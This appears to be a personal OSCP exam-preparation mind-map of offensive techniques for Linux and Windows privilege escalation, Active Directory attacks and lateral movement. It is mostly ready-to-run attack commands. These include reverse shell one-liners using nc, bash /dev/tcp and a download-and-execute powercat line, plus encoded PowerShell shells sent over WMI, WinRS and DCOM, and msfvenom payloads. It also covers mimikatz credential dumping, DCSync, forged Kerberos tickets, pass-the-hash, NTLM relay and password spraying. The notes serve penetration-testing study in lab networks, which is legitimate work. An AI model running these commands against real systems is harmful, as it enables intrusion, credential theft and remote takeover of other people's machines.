

OSCP Map

▼ Linux Priv Esc

▼ Automated Enumeration

- Linpeas
- Linux Smart Enumeration (LSE)
[🔗 GitHub - diego-treitos/linux-smart-enum...](#)
- LinEnum
[🔗 GitHub - rebootuser/LinEnum: Scripted L...](#)
- Link for suggetsing reverse shells
[🔗 GitHub - mthbernardes/rsg: ReverShellGe...](#)

▼ Spawning Shells

- Create a root owned copy of /bin/bash
- Custom executable

```
int main(){
    setuid(0);
    system("/bin/bash -p");
}
```
- Use a reverse shell executable to connect as root

▼ Applications

- Check version of Applications. There may be publicly known exploits for services running as root

▼ Service Exploits

[🔗 Linux Priv Esc - OSCP Notes](#)

▼ Enumeration

- `ps aux | grep "^root"`
- `watch -n 1 "ps aux | grep pass"`
Watch for services starting with hard coded creds
- `sudo tcpdump -i lo -A | grep "pass"`
See if we can sniff any traffic of services starting with creds over the network
- `pspy`

- ▼ Exploit
 - Check searchsploit/github
- ▼ Weak File permissions
 - /etc/passwd
 - /etc/shadow
- ▼ Potential backup files
 - /tmp
 - /var/backups
 - /opt
- ▼ Find all writable directories
 - `find / -writable -type d 2>/dev/null`
- ▼ sudo
 - ▼ Escape Sequences
 - ▼ Enumeration
 - `sudo -l`
 - ▼ Exploit
 - <https://gtfobins.github.io/>
[🔗 GTFOBins](#)
 - ▼ Abuse intended functionality

if we can read files owned by root, we may be able to extract sensitive data. If we write to files owned by root we can insert or modify info

 - Apache 2 will output the first line of files it doesn't understand allowing us to read 1 line of root owned files
 - ▼ Environment variables

[🔗 Linux Priv Esc - OSCP Notes](#)

if env_keeper is set to LD_PRELOAD we can create a shared object that executes code automatically through an init() function
it will be loaded into memory and executed before anything else
Once shared object is created we can run a valid sudo command and we will escalate privilege

 - ▼ enumeration
 - ▼ Sudo -l

- Looking for "env_keep+=LD_PRELOAD

▼ Exploit

▼ Check notes for steps

- `sudo LD_PRELOAD=/tmp/preload.so <sudo command>`

▼ LD_LIBRARY_PATH

[🔗 Linux Priv Esc - OSCP Notes](#)

LD_LIBRARY_PATH variable contains a set of directories where shared libraries are searched for first

By creating a shared library with the same name as one used by a program, and setting LD_LIBRARY_PATH to its parent directory, the program will load our shared library instead

▼ enumeration

▼ sudo -l

- check if `env_keep+=LD_LIBRARY_PATH`
- see what we can run as sudo

▼ ldd <binary>

- see what shared libraries are being called

▼ exploit

- check notes for setup
- `sudo LD_LIBRARY_PATH=/tmp apache2`

▼ Cron Jobs

[🔗 Linux Priv Esc - OSCP Notes](#)

▼ Path environment

▼ enumeration

- can we write a new path in crontab file

▼ does a program not use an absolute path

if crontab program or script does not use the absolute path, and one of the PATH directories is writeable we may be able to create program/script with the same name as the cron job

- `#!/bin/bash`

`bash -i >& /dev/tcp/192.168.45.165/21 0>&1`

Use to replace relative path binary

give executable permission with `chmod +x`

- ▼ exploit
 - reverse shell with binary/cronjob name
- ▼ Weak file permissions
 - Can we overwrite the script or any programs called by the script?
- ▼ Wildcards
 - ▼ Enumeration
 - check cronjobs to see if wildcards are used
 - ▼ Exploit
 - reference GTFObins
- ▼ Binary Version
 - ▼ enumeration
 - check versions of binaries used in cronjob scripts. Even if we cannot overwrite the binary, it may be a vulnerable version
- ▼ Where to check
 - /var/spool/cron
 - /var/spool/cron/crontabs
 - /etc/crontab
 - /var/log/cron.log
 - sudo crontab -l
show cron jobs run by root
 - pspy
- ▼ SUID/SGID Executables
 - ▼ enumeration
 - find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
 - ▼ exploitation
 - reference GTFObins for any suid executables
 - If we have an sudi binary that can edit files we can edit root files like /etc/passwd
 - ▼ Are there custom binaries that expose sensitive info / are not secure
 - use strings to check

▼ Capabilities

▼ Enumeration

- `/usr/sbin/getcap -r / 2>/dev/null`

▼ Shared Object injection

[🔗 Linux Priv Esc - OSCP Notes](#)

If an suid binary or root program is looking for a file that is currently not present we can create a malicious shared object

▼ enumeration

- `strace <binary> 2>&1 | grep -iE "open|access|no such file"`

▼ exploitation

- check notes for setup
- run suid program that calls shared object

▼ Path Environment variable

[🔗 Linux Priv Esc - OSCP Notes](#)

Since a user has control over their own path variable we can tell the shell to look in directories we can write to first

If an suid binary calls another script/command that does not have an absolute path we can create a malicious one and put it under the first directory in the path variable

▼ enumeration

- `strings </path/to/file>`

▼ Exploit

- reverse shell executable

- root shell binary

```
int main(){
    setuid(0);
    system("/bin/bash -p");
}
```

- `PATH=.:$PATH /path/to/suid file`

prepend current directory to PATH and run exploit

▪ Bash shell vulnerabilities

▪ sudo version vulnerabilities

▼ Sensitive info

- env

▼ Kernel Exploits

▼ commands for linux version

- cat /etc/issue
- uname -a
- linux exploit suggerter 2

▼ Group privileges

▼ disk

- ▼ can read all files on the system
 - read /etc/passwd and /etc/shadow and try to crack root/other creds

▼ adm

- ▼ Extra access to logs
 - read logs in /var or /opt to try and recover info

▼ Reverse Shells

▼ Linux

▼ find arch

- uname -m

▼ nc

- nc <ip> <port> -e /bin/sh

▼ bash

- bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f" >> user_backups.sh

▼ Windows

▼ powershell

▼ Encoded one liner

```
pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $c
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
exit
```

- powershell -c
- ▼ powercat
 - Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.49.211/powercat.ps1');
powercat -c 192.168.49.211 -p 4444 -e cmd
we can host the powercat executable on the webserver and have the client connect back --> useful for if we have a webshell or RCE
- ▼ one liner
 - <https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3>
- ▼ find arch
 - systeminfo
- ▼ Web shells
 - ▼ php
 - one liner
 - ▼ jsp
 - one liner
 - ▼ aspx
 - one liner
 - ▼ war

can use with java application (I Think)

 - ▼ msfvenom
 - msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.108 LPORT=4444 -f war > shell.war
- ▼ Shellcode
 - ▼ get output for buffer overflow exploits
 - msfvenom -p windows/shell_reverse_tcp -b "
" \x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" LHOST=192.168.49.100 LPORT=80 -e x86/alpha_mixed -f c
-f c will give shellcode in a string format
also note the bad chars for windows buffer overflows
- ▼ webshell to interactive
 - <https://w00troot.blogspot.com/2017/05/getting-reverse-shell-from-web-shell.html>

- `echo 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' | bash`

▼ upgrade to interactive shell

▼ linux

- `python3 -c 'import pty; pty.spawn("/bin/bash")'`

▼ ligolo-ng

🔗 <https://software-sinner.medium.com/how...>

- use when we need to get reverse shell or to infiltrate files onto internal network

▼ Active Directory

Testing notes

▼ Enumeration

▼ Automated

▼ Blood Hound

🔗 [Active Directory - OSCP Notes](#)

Collectors located at `/usr/lib/bloodhound/resources/app/Collectors`

Drag and drop files in

Make sure to start neo4j with `'sudo neo4j start'`

▪ Sharphound

Load into Powershell: `Import-Module .\Sharphound.ps1`

Run: `Invoke-BloodHound`

Flags:

`-CollectionMethod`

Usually use "All"

`-OutputDirectory`

`-OutputPrefix "<option>"`

prepends `<option>` in front of automatic file name

Get info on other flags: `Get-Help Invoke-Bloodhound`

▼ From kali

If we have domain creds, but no foothold, we can run bloodhound from kali

- `bloodhound-python`

▼ Manual

▼ cmd

▼ identify users

- print all users

`net user /domain`

- query one user
net user <user> /domain

▼ setspn.exe

Default windows executable can be used to identify spn

-L flag will query locally and against DC

- setspn -L iis_service

▼ Identify groups

- Print all groups
net group /domain
- enumerate specific group
net group <group> /domain

▼ Powershell

▼ Power view

🔗 [Active Directory - OSCP Notes](#)

Load: Import-Module .\Powerview.ps1

<https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview#quick-enumeration>

- Get-NetDomain
Gather basic info on Domain

▼ Get-NetUser

Commnad will list a lot of info about users

Get-NetUser | select cn can sort info

-SPN flag can be used to identify SPN users

- Get-NetUser | select cn,pwdlastset,lastlogon
- Get-NetUser -SPN | select samaccountname,serviceprincipalname

▼ Get-NetGroup

Get information about groups

- Get-NetGroup "Sales Department" | select member

▼ Get-NetComputer

returns information on computer objects

- `Get-NetComputer | select operatingsystem,dnshostname`
- `Find-LocalAdminAccess`
will find if our current user has local admin access on any computer in the domain
- ▼ `Get-ObjectAcl`
Gets ACL for identified user/group/object
 - `Get-ObjectAcl -Identity stephanie`
 - `Get-ObjectAcl -Identity "Management Department" | ? {$_ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights`
Can get fancy like this and search an object for a specific attribute. In this case we output all of the users in a group who have the genericAll right
- `Convert-SidToName`
Converts SID to common name
can pipe in multiple SID's like:

`"S-1-5-21-1987370270-658905905-1781884369-512", "S-1-5-21-1987370270-658905905-1781884369-512"`
- `Find-DomainShare`
find any domain shares on the domain.
-CheckShareAccess flag can be used to display shares available to current user
- `Get-NetUser -SPN | select samaccountname,serviceprincipalname`
get spn accounts. COuld be good for kerbroasting prereq

▼ Attacking Authentication

[🔗 Active Directory - OSCP Notes](#)

▼ Cahced AD Credentials

[🔗 Active Directory - OSCP Notes](#)

Need to be system or Local Admin to gain access to stored credentials on a target

▼ Mimikatz

yeah boi

- `privilege::debug`
- `sekurlsa::logonpasswords`
this will get the NTLM hash and sha1 hash of all stored user credentials
- `sekurlsa::tickets`
locate tickets stored on the computer

- lsadump::sam

▼ Performing Attacks on AD auth

[🔗 Active Directory - OSCP Notes](#)

▼ Password spraying

▼ crackmapexec

{mssql,ldap,ssh,winrm,ftp,rdp,smb}

can use for

- ▼ crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com -
-continue-on-success

-u: file of usernames

-p: password to test

-d: domain

- --local-auth

use flag to try to auth to local accounts on the machine

- If you get stuck we can spray all known user and password credential combos
- spray local admin hashes in case they are reused elsewhere in the system
- Spray-Passwords.ps1 to spray against ldap

▼ AS-REP Roasting

[🔗 Active Directory - OSCP Notes](#)

Get's us the AS-REP hash of users who do not require kerberos preauth

- ▼ Needs "Do not require Kerberos Preauthentication" enabled

Off by default

We can turn this on if we have control over a user

check with: Get-DomainUser -PreauthNotRequired

We do not need a password to try this

▼ kali

- impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete

Need credentials on the domain to run

-dc-ip is the domain controller IP

-output file will output any hashes in hashcat form

If any results are returned, we can run hashcat against them mode 18200 is for Kerberos AS-REP

- Check prereq: impacket-GetNPUsers -dc-ip 192.168.50.70 corp.com/pete

- Run w/o passwd and looping over users file:
for user in \$(cat users.txt); do impacket-GetNPUsers -no-pass -dc-ip
<ip of dc> <domain>/\${user};done

▼ windows

- .\Rubeus.exe asreproast /nowrap
- Check prereq: Get-DomainUser -PreauthNotRequired
- crack with hashcat mode 18200

▼ Kerberoasting

🔗 [Active Directory - OSCP Notes](#)

Get's us a kerberos hash of a service (SPN) we can try to crack

- ▼ If the SPN runs in the context of a computer account, a managed service account, or a group-managed service account the password will be randomly generated and impossible to crack

if we have local access we can identify this by seeing if there is a local account for the service like "svc_mysql" or "svc_apache"

▼ kali

- sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70
corp.com/pete
- check prereq: sudo impacket-GetUserSPNs -dc-ip 192.168.50.70
corp.com/pete

▼ windows

- .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
- check prereq: Get-NetUser -SPN
- crack with hashcat mode 13100

▼ Silver Tickets

🔗 [Active Directory - OSCP Notes](#)

▼ SPN Password hash

Domain SID

Target SPN

We can use mikikatz to get the SPN NTLM hash

Use 'whoami /user' to find SID (cut out user bit at end)

just need to identify target SPN

▼ windows

▼ mimikatz

- `privilege::debug`
`kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin`
/ptt injects the ticket into the memory of the machine we execute the command on
/rc4: is the NTLM hash of the SPN (there is also a different hashing protocol that can be used. Be aware of this)
/user can be any user since we can set permissions ourselves, but best to use the user we are running as
Once we have the forged ticket we should be able to access the SPN

- Might be able to try this with a fake password?

<https://medium.com/@0xrave/nagoya-pr...>

▼ DCSYNC

[Active Directory - OSCP Notes](#)

- ▼ Current user needs to be a part of one of these:

Domain Admin

Enterprise Admins

Administrators

or

we need to give a user DCSync rights --> see account operator priv esc

▼ windows

▼ mimikatz

- `lsadump::dcsync /user:corp\dave`
in this example corp is the domain and dave is the user we want to target

▼ kali

- `impacket-secretdump -just-dc-user <target> <domain>/<foothold user>:<FU password>@<DC IP>`

▼ Vulnerable Certificates

[HTB: Escape | 0xdf hacks stuff](#)

- enumerate
- exploit

▼ Lateral Movement

[Active Directory - OSCP Notes](#)

▼ WMI and WinRM

[🔗 Active Directory - OSCP Notes](#)

▼ Need credentials of a local admin on target machine

Need plain text credentials of target user

▼ WMI

▼ Example in notes

```
$username = 'jen';  
$password = 'Nexus123!';  
$secureString = ConvertTo-SecureString $password -AsPlainText -Force;  
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString  
  
$Options = New-CimSessionOption -Protocol DCOM  
$Session = New-CimSession -ComputerName 192.168.50.73 -Credential $credential -SessionOptions $Options  
  
$Command = 'powershell -nop -w hidden -e JABjAGwAaQB1AG4AdAAgAD0AIABOAGUAdwAtAE8AYgBq/HUAcwBoACgAKQB9ADsAJABjAGwAaQB1AG4AdAAuAEMAbABvAHMAZQAoACkA';  
  
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments $Command
```

- reverse shell encoder ~/oscp/powershell_reverse_shell_encoder.py

▼ WinRM

-r is the host

-u is user

-p password

▼ WinRs

- ▼ For WinRS to work the user must be part of the administrators or remote management group

- winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e <encoded shell>"

jen is target user

▼ Powershell remoting

- `username = 'jen';`
`$password = 'Nexus123!';`
`$secureString = ConvertTo-SecureString $password -AsPlainText -Force;`
`$credential = New-Object`
`System.Management.Automation.PSCredential $username,`
`$secureString;`
`New-PSSession -ComputerName 192.168.50.73 -Credential $credential`
jen is our target user (not current user)

▼ kali

- `evil-winrm -i 172.16.227.83 -u wario -p Mushroom!`

▼ PsExec

[🔗 Active Directory - OSCP Notes](#)

▼ User must be part of Amdinstartors local group on host
ADMIN\$ share must be available
File and Printer sharing must be on
last to prereqs are on by default

▼ Windows

- `./PsExec -i \\FILES04 -u corp\jen -p Nexus123! cmd`
-i target prepended by \\
-u user in the form of domain\username
-p password
last argument is the process we want to execute
- might need to move Syinternal suite onto current host

▼ kali

- `impacket-psexec corp/leon:'HomeTaping199!'@192.168.191.73`

▼ Pass the Hash

▼ Target Server must use NTLM authentication (not Kerberos)
Port 445 (SMB) on target enabled
Local admin on host
Printer and file sharing on

▼ windows

▼ mimikatz

- `sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<user hash>`
`/run:powershell`

▼ kali

▼ impacket

- `/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73`

- Remember we can try to pass every user:hash combo we have

▼ Overpass the Hash

[🔗 Active Directory - OSCP Notes](#)

▼ Targeted user needs to have access to targeted machine

▼ windows

1. Mimikatz pth
2. Access target resource to create ticket
3. run a program to access target (PsExec)

▼ Kali

- I'm sure there is some way to run the impacket tools with tickets. haven't tried yet
- This might be useful if we can't crack the hash to use with psexec in plaintext. Some tools do not support using hashes so this creates a Kerberos ticket to use

▼ Pass the ticket

[🔗 Active Directory - OSCP Notes](#)

▼ Need admin privileges if the ticket is not for the current user

▼ windows

▼ mimikatz

- `sekurlsa::tickets /export`
we can then examine the tickets by running `dir *.kirbi` in the current directory

In the ticket we see the form (stuff)-user@resource access
We can choose a ticket with our targeted resource

- `kerberos::ptt <ticket name>`

▼ Kali

- ?

- cifs ticket is used to access the filesystem of the computer --> can use to psexec (I think)

▼ DCOM

[🔗 Active Directory - OSCP Notes](#)

▼ Local admin access required to call DCOM

Elevated Powershell Prompt

▼ windows

▼ powershell

▪ \$dcom =

```
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
```

```
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e <encoded reverse shell>","7")
```

The ExecuteShellCommand method takes 4 parameters

- Command
- Directory
- Parameters
- WindowState

We are only concerned with 1 and 3

We can edit the command to launch an encoded reverse shell like the WMI section --> we can use the python script in ~/oscp

▼ Enumeration

▼ Nmap

- `nmap -sT -p 135,139,445,5985,5986,3389,21,22,80,443,1433,3306 -Pn -n <ips>`

enumerate common windows ports for lateral movement --> good for when running through a proxy due to slow speed

can prepend with proxychains

▼ mssql

- make sure to use argument "-windows-auth" when connecting in AD environment or connection will be refused with proper creds

▼ Client Side attacks

▪ .lnk files

▪ macros

▼ Execution

- send emails with swaks command

▼ Windows Priv Esc

[🔗 Windows Priv Esc - OSCP Notes](#)

▼ Automated Enumeration

▼ WINPeas

[🔗 Release Release refs/heads/master 20231...](#)

- Get Colors

REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

- PowerUp

▼ Basic Enumeration

▼ users

- net user

show all users on the local system

- net accounts

password policy info

▼ groups

- net localgroups

- net localgroup <group>

get details about a group

▼ Listening Services

- netstat -ano

▼ Sensitive files

▼ credentials

▼ enumeration

▼ powershell

- ▼ Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

looks for password management DB files

- web apps might have dictionary files "dictionary"

- ▼ Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.xml,*.log,*.bak,*.ini,*.ps1 -File -Recurse -ErrorAction SilentlyContinue

looks for various text documents

- groups.xml

old group policies files may contain a hashed password in an xml file

"I checked the Groups.xml file and found the value of the cpassword variable. Then, I used [gpp-decrypt](#) to decrypt the password which identified the password as GPPstillStandingStrong2k18"

<https://medium.com/@joemcfarland/hack-the-box-active-writeup-a37a1c170cf6>

- unattend.xml

May store base 64 encoded credentials

- powershell scripts might have credentials hard coded

- ▼ History file

- Get-PSReadlineOption

Output info for powershell including Powershell history file location

- Get-ChildItem -Force -Path C:\Users -Include *.txt -File -Filter "ConsoleHost_history.txt" -Recurse -ErrorAction SilentlyContinue

- event logs for powershell

Script Block logging records commands and blocks of scriptcode while executing. This results in logging the full context of code execution. --> *We can search through this log in event viewer if it is enabled*. Logs are located under Application and service logs --> Microsoft --> Windows --> Powershell --> Operational. Task category execute remote command was helpful for the exercise

- (Get-PSReadLineOption).HistorySavePath

- ▼ foreach(\$user in ((ls C:\users).fullname)){cat "\$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

check history file for all users we have access to

- rerun as admin

- ▼ cmd

- reg query HKLM /f password /t REG_SZ /s

queries local machine registry entries for passwords

- reg query HKLM /f password /t REG_SZ /s

queries current user registry entries for passwords --> this generates a lot of results

- runas cmdkey /list
Shows any saved credentials by user in system
 - ▼ findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
 - web.config
credentials for IIS / web app
 - findstr /spin "password" *.*
- ▼ Exploit
 - ▼ cmd
 - runas /user:backupadmin cmd
run as needs to be used in a GUI
 - winexe -U 'user%password' //<ip> cmd.exe
spawns a shell with supplied creds
 - runas /savedcred /user:admin <path to malicious exe>
run executable with saved creds
 - ▼ powershell
 - powershell -Command "Start-Process cmd -Verb RunAs"
- ▼ History
 - ▼ Enumeration
 - ▼ Powershell
 - Get-History
 - (Get-PSReadlineOption).HistorySavePath
this one is more likely to
 - ▼ Exploit
 - evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertyqwerty123\!\!"
- ▼ SAM
 - ▼ enumeration
 - ▼ Potential Backups
 - C:\Windows\Repair
 - C:\Windows\System32\config\regabck
 - C:\windows.old
 - ▼ exploit

- ▼ Exfiltrate to Kali
 - reg save hklm\system system
reg save hklm\sam sam
- ▼ pypykatz
 - pypykatz registry --sam sam system
 - impacket-secretsdump
- Might need to be a service account to do this
- ▼ LSASS
 - pypykatz lsa minidump lsass.DMP
- ▼ Applications
 - ▼ Enumeration
 - ▼ powershell
 - Get-ItemProperty
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname
Enumerate 32 bit apps installed
 - Get-ItemProperty
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname
enumerate 64 bit apps installed
 - Get-WmiObject -Class Win32_Product | select Name, Version
 - ▼ cmd
 - wmic product get name
returns installed applications
- ▼ Service Exploits
 - [🔗 Windows Priv Esc - OSCP Notes](#)
 - ▼ Basic Enumeration

If we see services installed not in Windows/system32 directory they are likely user installed and more likely to be insecure

 - ▼ cmd
 - ▼ sc.exe
 - sc.exe qc <service>
query configuration of a service

- configure service options
- ▼ icacis
 - check file permissions
 - Use this to see if we have permission to start and stop a service. We can't exploit a service if we can't restart it
- ▼ tasklist
 - tasklist /svc
- set
 - return all environment info
- ▼ Powershell
 - ▼ Get-CimInstance -ClassName win32_service | Select Name,State,PathName
 - ****When using a network logon such as WinRM or a bind shell, Get-CimInstance and Get-Service will result in a "permission denied" error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.****
- ▼ Unquoted service paths

If there are spaces in an unquoted service path it is ambiguous to windows
It will check all options to see what is executable --> if we can put an executable into one of these places we can trick windows into running it

 - ▼ Enumeration
 - ▼ cmd
 - wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v ""
 - ▼ Exploit
 - Reverse shell executable
- ▼ Insecure Service Properties

If user has permission to change service config we can point it towards our reverse shell executable.

 - ▼ Enumeration
 - ▼ icacis
 - SERVICE_CHANGE_CONFIG
 - SERVICE_ALL_ACCESS
 - ▼ Exploit

- Reverse Shell executable
- `sc config <service> binpath="cmd /c net localgroup administrators htb-student /add"`

▼ Weak Registry Permission

If ACLS are misconfigured it may be possible to modify a service's configuration even if we can't modify the service directly

▼ Enumeration

Here we are looking at our permissions over the registry key. Not the permissions of the service. But if we can change the registry key, we can change how the service functions

Looking for:

KEY_ALL_ACCESS

▼ cmd

- `accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services`

This is part of Sysinternals tool --> may need to infiltrate onto windows computer

▼ Powershell

- `Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl`

▼ Exploit

- `reg add "HKLM\system\currentcontrolset\services\<vulnerable_service>" /t REG_EXPAND_SZ /v ImagePath /d "<our executable>" /f`
changes the path of the service to our executable
- Reverse shell executable

▼ Insecure Service Executable

If the service itself is writable by the current user we can simply replace it with a reverse shell

▼ enumeration

▼ cmd

- `icacls`

▼ exploit

- reverse shell executbale

▼ DLL Hijacking

[🔗 Windows Priv Esc - OSCP Notes](#)

if a DLL is loaded from an absolute path, it might be possible to escalate privileges if that DLL is writable by our user

More commonly if a DLL is missing and our user has write access to DLL paths we can put malicious code there

process is very manual

▼ Enumeration

- Find Services we can start/stop
- Copy Service executable to kali/ windows machine we control

▼ run procmon

- Stop and clear current processes
- CTRL+L to filter on target service
deselect show registry and show network activity

- Create service locally

```
SC CREATE "svc_name" bin ="Path to executable"
```

- In command prompt, start service
- See if target service is calling for any DLLs that are missing

▼ exploit

- see notes on compiling DLL
- Looks like we can use msfvenom for reverse shell DLL
- Place malicious DLL in Path

Standard DLL Loading order:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.

▼ Registry Exploits

[🔗 Windows Priv Esc - OSCP Notes](#)

▼ Auto Run

Autoruns are configured with registries.

If you are able to write an Autorun executable and are able to restart the system you may be able to escalate privilege

▼ Enumeration

▼ cmd

- `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
this will query all of the autorun task for when a user logs on
- `icaccls <auto run exe>`
check to see if the user has permission to access the executable that is being auto run

▼ Exploit

- reverse shell executable
- This requires a user to log into the system

▼ MSI Files

msi files can run as admin, but can be executed by the user --> if we can generate malicious msi file we can get elevate privileges

- ▼ need AlwaysInstalledElevated registry set in two spots for this to work
`HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer` --> allows MSI files to run on system
`HKCU\Software\Policies\Microsoft\windows\Installer` --> allows user to run msi files

▼ Enumeration

▼ cmd

We want these set to 0x1

- `reg query`
`HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer`
- `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer`

▼ Exploit

As long as prepreqs are met, we can just run the file from wherever

- reverse shell msi
can probably make with msfvenom
- `msiexec /quiet /qn /i 1.msi`
cmd

▼ Pass the Hash

[🔗 Windows Priv Esc - OSCP Notes](#)

▼ exploit

- impacket-psexec
- impacket-wmiexec
- pth-*
- Probably more impacket tools

▼ Relay ntlmv2

- ▼ `sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBIAg4AdA..."`
 - t is target system we want to get access to
 - c is command to execute --> should be encoded powershell reverse shell
- Good to use if current user is suspected of being local admin on target system. Just need to force auth to kali box to relay hash

▼ Scheduled Tasks

[🔗 Windows Priv Esc - OSCP Notes](#)

▼ enumeration

There are three main details we are concerned about with reconning tasks for priv esc

- which user account (principal) does the task execute as?
 - we want NT Authority\System or an admin user
- what triggers are specified for the task
 - If the task is triggered it will not run again
- what actions are executed when the triggers are met
 - Depending on the action we can use other tactics discussed in these notes

▼ cmd

- `schtasks /query /fo LIST /v`

▼ powershell

- `Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State`

▼ Watch command

We can use this to see if/when a process is executing in a scheduled manner. We can use for binaries we believe are an attack surface for privesc, but aren't listed in scheduled tasks

- Import-Module .\pswatch\PowerShell-Watch-master\Watch\Public\Watch-Command.ps1

need to move module over from kali webserver

- Get-Process backup -ErrorAction SilentlyContinue | Watch-Command -Difference -Continuous -Seconds 30

in this case we were checking for backup.exe being executed

This will output some stats when it detects the binary executing

There will be no output if the process is not running

- often need to find scripts or logs that hint at scheduled tasks running

▼ exploit

- ▼ Need to use other tactics here based on task configuration

- what does it execute?
- Can we edit the task file
- Etc

▼ GUI Apps

Some versions of windows, users could be granted the permission to run certain GUI apps with admin priv

any child methods spawned will still be system level

Like breaking into cmd from file explorer

▼ Enumeration

This one is tricky because it depends on the app actively running to enumerate. Not sure if there is a way to see what apps we are allowed to run as admin, or it is just trial and error on target system

▼ cmd

- tasklist /V | findstr <app>
check privilege of current tasks

▼ exploit

- app dependent

▼ Startup Apps

▼ enumeration

- Check C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

▼ User privileges / groups

If we have the **SEImpersonatePrivilege**, we can try to run the following tools to get system

Likely enabled on service accounts

▼ Privileges

▼ whoami /priv

- Typing the command `whoami /priv` will give you a listing of all user rights assigned to your current user. Some rights are only available to administrative users and can only be listed/leveraged when running an elevated cmd or PowerShell session.

▼ SeImpersonatePrivilege

- `printspoofer`
- `Rogue Potatoe`
- `godpotato`

▼ SeManageVolumePrivilege

🔗 [GitHub - xct/SeManageVolumeAbuse: Se...](#)

we can abuse this privilege to overwrite files in `C:\Windows`.

We can craft a reverse shell .dll using `msfvenom` and then name/place it in a way that it gets invoked with a simple command like `"systeminfo"`

- `SeManageVolumeAbuse`

🔗 [Release SeManageVolumeExploit - CsEno...](#)

- Account Operators Group

Account Operators has Generic All privilege on the Exchange Windows Permissions group.

Moreover, the "Exchange Windows Permissions" does have WriteDACL permission on the Domain (htb.local). It means that if we create a user and add it to the "Exchange Windows Permissions" group, we could give him DCSync access rights and dump domain controller password hashes.

So, we have four (4) things to do :

Create a user

Add it to the "Exchange Windows Permission"s group

Add it to the "Remote Management Users" group (to have remote access rights)

Abuse weak permission on DACLs to get DCSync rights

- SeRestorePrivilege

write access to everyhtin on the system --> can modify service binary overwrite DLLs used by the system, modify registry settings

- ▼ SeBackupPrivilege

provides read access to all objects on the system --> Can gain access to sensitive files or extract hashes on the registry

- see backup operators

- ▼ SeTakeOwnership

let's user take write ownership of object --> can change ACL

enable token with this script: <https://medium.com/@markmotig/enable-all-token-privileges-a7d21b1a4a77>

- takeown /f '<target file>
- icacls '<target file>' /grant <username>:F

- SeTcbPrivielge

SeCreateTokenPrivilege

seLoadDriverPrivilege

▼ SeDebugPrivilege

This policy setting determines which users can attach to or open any process, even a process they do not own. Developers who are debugging their applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides access to sensitive and critical operating system components. --> Dump LSASS

- `procdump.exe -accepteula -ma lsass.exe lsass.dmp`
- can manually dump lsass by going into task manager and right clicking lsass.exe --> create dumpfile
- elevate privilege

<https://raw.githubusercontent.com/deco...>

First, transfer this [PoC script](#) over to the target system. Next we just load the script and run it with the following syntax
`[MyProcess]::CreateProcessFromParent(<system_pid>, <command_to_execute>, "" )`. Note that we must add a third blank argument "" at the end for the PoC to work properly.

Need a system level process like winlogon or lsass

▼ Other exploit

- <https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC>

▼ ReadGMSAPassword

We can use the gMSADumper tool to try and dump the password of group managed service accounts. From there we can try to crack the hash, pth, or create a silver ticket

